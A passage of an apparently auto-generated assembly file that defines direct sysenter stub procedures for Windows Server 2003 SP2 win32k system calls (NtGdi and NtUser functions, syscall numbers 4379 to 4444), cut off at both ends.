_5_2_3790_sp2_windows_2003_NtGdiSetRectRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4379
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetRectRgn ENDP
; ULONG __stdcall NtGdiSetSystemPaletteUse( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiSetSystemPaletteUse PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4380
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetSystemPaletteUse ENDP
; ULONG __stdcall NtGdiSetTextJustification( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiSetTextJustification PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4381
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetTextJustification ENDP
; ULONG __stdcall NtGdiSetupPublicCFONT( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiSetupPublicCFONT PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4382
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetupPublicCFONT ENDP
; ULONG __stdcall NtGdiSetVirtualResolution( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiSetVirtualResolution PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4383
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetVirtualResolution ENDP
; ULONG __stdcall NtGdiSetSizeDevice( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiSetSizeDevice PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4384
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetSizeDevice ENDP
; ULONG __stdcall NtGdiStartDoc( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiStartDoc PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4385
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiStartDoc ENDP
; ULONG __stdcall NtGdiStartPage( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiStartPage PROC STDCALL arg_01:DWORD
mov eax , 4386
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiStartPage ENDP
; ULONG __stdcall NtGdiStretchBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 );
_5_2_3790_sp2_windows_2003_NtGdiStretchBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD
mov eax , 4387
call _label_sysenter
ret 48
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiStretchBlt ENDP
; ULONG __stdcall NtGdiStretchDIBitsInternal( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 , ULONG arg_15 , ULONG arg_16 );
_5_2_3790_sp2_windows_2003_NtGdiStretchDIBitsInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD , arg_15:DWORD , arg_16:DWORD
mov eax , 4388
call _label_sysenter
ret 64
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiStretchDIBitsInternal ENDP
; ULONG __stdcall NtGdiStrokeAndFillPath( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiStrokeAndFillPath PROC STDCALL arg_01:DWORD
mov eax , 4389
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiStrokeAndFillPath ENDP
; ULONG __stdcall NtGdiStrokePath( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiStrokePath PROC STDCALL arg_01:DWORD
mov eax , 4390
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiStrokePath ENDP
; ULONG __stdcall NtGdiSwapBuffers( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiSwapBuffers PROC STDCALL arg_01:DWORD
mov eax , 4391
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSwapBuffers ENDP
; ULONG __stdcall NtGdiTransformPoints( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiTransformPoints PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4392
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiTransformPoints ENDP
; ULONG __stdcall NtGdiTransparentBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
_5_2_3790_sp2_windows_2003_NtGdiTransparentBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 4393
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiTransparentBlt ENDP
; ULONG __stdcall NtGdiUnloadPrinterDriver( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiUnloadPrinterDriver PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4394
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiUnloadPrinterDriver ENDP
; ULONG __stdcall NtGdiUnmapMemFont( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiUnmapMemFont PROC STDCALL arg_01:DWORD
mov eax , 4395
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiUnmapMemFont ENDP
; ULONG __stdcall NtGdiUnrealizeObject( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiUnrealizeObject PROC STDCALL arg_01:DWORD
mov eax , 4396
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiUnrealizeObject ENDP
; ULONG __stdcall NtGdiUpdateColors( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiUpdateColors PROC STDCALL arg_01:DWORD
mov eax , 4397
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiUpdateColors ENDP
; ULONG __stdcall NtGdiWidenPath( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiWidenPath PROC STDCALL arg_01:DWORD
mov eax , 4398
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiWidenPath ENDP
; ULONG __stdcall NtUserActivateKeyboardLayout( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserActivateKeyboardLayout PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4399
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserActivateKeyboardLayout ENDP
; ULONG __stdcall NtUserAlterWindowStyle( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserAlterWindowStyle PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4400
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserAlterWindowStyle ENDP
; ULONG __stdcall NtUserAssociateInputContext( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserAssociateInputContext PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4401
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserAssociateInputContext ENDP
; ULONG __stdcall NtUserAttachThreadInput( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserAttachThreadInput PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4402
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserAttachThreadInput ENDP
; ULONG __stdcall NtUserBeginPaint( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserBeginPaint PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4403
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserBeginPaint ENDP
; ULONG __stdcall NtUserBitBltSysBmp( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
_5_2_3790_sp2_windows_2003_NtUserBitBltSysBmp PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 4404
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserBitBltSysBmp ENDP
; ULONG __stdcall NtUserBlockInput( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserBlockInput PROC STDCALL arg_01:DWORD
mov eax , 4405
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserBlockInput ENDP
; ULONG __stdcall NtUserBuildHimcList( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserBuildHimcList PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4406
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserBuildHimcList ENDP
; ULONG __stdcall NtUserBuildHwndList( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_5_2_3790_sp2_windows_2003_NtUserBuildHwndList PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 4407
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserBuildHwndList ENDP
; ULONG __stdcall NtUserBuildNameList( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserBuildNameList PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4408
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserBuildNameList ENDP
; ULONG __stdcall NtUserBuildPropList( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserBuildPropList PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4409
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserBuildPropList ENDP
; ULONG __stdcall NtUserCallHwnd( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserCallHwnd PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4410
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserCallHwnd ENDP
; ULONG __stdcall NtUserCallHwndLock( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserCallHwndLock PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4411
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserCallHwndLock ENDP
; ULONG __stdcall NtUserCallHwndOpt( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserCallHwndOpt PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4412
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserCallHwndOpt ENDP
; ULONG __stdcall NtUserCallHwndParam( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserCallHwndParam PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4413
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserCallHwndParam ENDP
; ULONG __stdcall NtUserCallHwndParamLock( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserCallHwndParamLock PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4414
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserCallHwndParamLock ENDP
; ULONG __stdcall NtUserCallMsgFilter( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserCallMsgFilter PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4415
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserCallMsgFilter ENDP
; ULONG __stdcall NtUserCallNextHookEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserCallNextHookEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4416
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserCallNextHookEx ENDP
; ULONG __stdcall NtUserCallNoParam( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserCallNoParam PROC STDCALL arg_01:DWORD
mov eax , 4417
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserCallNoParam ENDP
; ULONG __stdcall NtUserCallOneParam( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserCallOneParam PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4418
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserCallOneParam ENDP
; ULONG __stdcall NtUserCallTwoParam( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserCallTwoParam PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4419
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserCallTwoParam ENDP
; ULONG __stdcall NtUserChangeClipboardChain( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserChangeClipboardChain PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4420
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserChangeClipboardChain ENDP
; ULONG __stdcall NtUserChangeDisplaySettings( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserChangeDisplaySettings PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4421
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserChangeDisplaySettings ENDP
; ULONG __stdcall NtUserCheckImeHotKey( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserCheckImeHotKey PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4422
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserCheckImeHotKey ENDP
; ULONG __stdcall NtUserCheckMenuItem( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserCheckMenuItem PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4423
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserCheckMenuItem ENDP
; ULONG __stdcall NtUserChildWindowFromPointEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserChildWindowFromPointEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4424
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserChildWindowFromPointEx ENDP
; ULONG __stdcall NtUserClipCursor( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserClipCursor PROC STDCALL arg_01:DWORD
mov eax , 4425
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserClipCursor ENDP
; ULONG __stdcall NtUserCloseClipboard( );
_5_2_3790_sp2_windows_2003_NtUserCloseClipboard PROC STDCALL
mov eax , 4426
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserCloseClipboard ENDP
; ULONG __stdcall NtUserCloseDesktop( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserCloseDesktop PROC STDCALL arg_01:DWORD
mov eax , 4427
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserCloseDesktop ENDP
; ULONG __stdcall NtUserCloseWindowStation( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserCloseWindowStation PROC STDCALL arg_01:DWORD
mov eax , 4428
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserCloseWindowStation ENDP
; ULONG __stdcall NtUserConsoleControl( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserConsoleControl PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4429
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserConsoleControl ENDP
; ULONG __stdcall NtUserConvertMemHandle( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserConvertMemHandle PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4430
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserConvertMemHandle ENDP
; ULONG __stdcall NtUserCopyAcceleratorTable( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserCopyAcceleratorTable PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4431
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserCopyAcceleratorTable ENDP
; ULONG __stdcall NtUserCountClipboardFormats( );
_5_2_3790_sp2_windows_2003_NtUserCountClipboardFormats PROC STDCALL
mov eax , 4432
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserCountClipboardFormats ENDP
; ULONG __stdcall NtUserCreateAcceleratorTable( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserCreateAcceleratorTable PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4433
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserCreateAcceleratorTable ENDP
; ULONG __stdcall NtUserCreateCaret( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserCreateCaret PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4434
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserCreateCaret ENDP
; ULONG __stdcall NtUserCreateDesktop( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtUserCreateDesktop PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4435
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserCreateDesktop ENDP
; ULONG __stdcall NtUserCreateInputContext( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserCreateInputContext PROC STDCALL arg_01:DWORD
mov eax , 4436
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserCreateInputContext ENDP
; ULONG __stdcall NtUserCreateLocalMemHandle( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserCreateLocalMemHandle PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4437
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserCreateLocalMemHandle ENDP
; ULONG __stdcall NtUserCreateWindowEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 , ULONG arg_15 );
_5_2_3790_sp2_windows_2003_NtUserCreateWindowEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD , arg_15:DWORD
mov eax , 4438
call _label_sysenter
ret 60
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserCreateWindowEx ENDP
; ULONG __stdcall NtUserCreateWindowStation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_5_2_3790_sp2_windows_2003_NtUserCreateWindowStation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 4439
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserCreateWindowStation ENDP
; ULONG __stdcall NtUserDdeGetQualityOfService( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserDdeGetQualityOfService PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4440
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserDdeGetQualityOfService ENDP
; ULONG __stdcall NtUserDdeInitialize( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtUserDdeInitialize PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4441
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserDdeInitialize ENDP
; ULONG __stdcall NtUserDdeSetQualityOfService( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserDdeSetQualityOfService PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4442
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserDdeSetQualityOfService ENDP
; ULONG __stdcall NtUserDeferWindowPos( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
_5_2_3790_sp2_windows_2003_NtUserDeferWindowPos PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 4443
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserDeferWindowPos ENDP
; ULONG __stdcall NtUserDefSetText( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserDefSetText PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4444
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserDefSetText ENDP
; ULONG __stdcall NtUserDeleteMenu( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
